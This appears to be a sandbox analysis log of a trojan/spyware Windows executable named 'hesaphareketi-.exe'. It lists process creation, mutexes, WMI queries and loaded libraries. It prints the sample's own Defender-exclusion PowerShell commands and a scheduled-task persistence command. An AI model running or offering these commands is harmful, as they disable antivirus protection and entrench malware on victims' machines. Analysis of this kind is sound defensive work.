Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, F20LWFVHgRjD1hgb3j.cs	Security API names: _0020.AddAccessRule
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, rOmyU17JDH9qSUKV5w.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@1/1

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3668:120:WilError_03
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Mutant created: \Sessions\1\BaseNamedObjects\sENXcdAoQRSnuXnopTyHILpEwDv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4092:120:WilError_03

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE555.tmp

Jump to behavior

Source: hesaphareketi-.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hesaphareketi-.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hesaphareketi-.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File read: C:\Users\user\Desktop\hesaphareketi-.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: userenv.dll
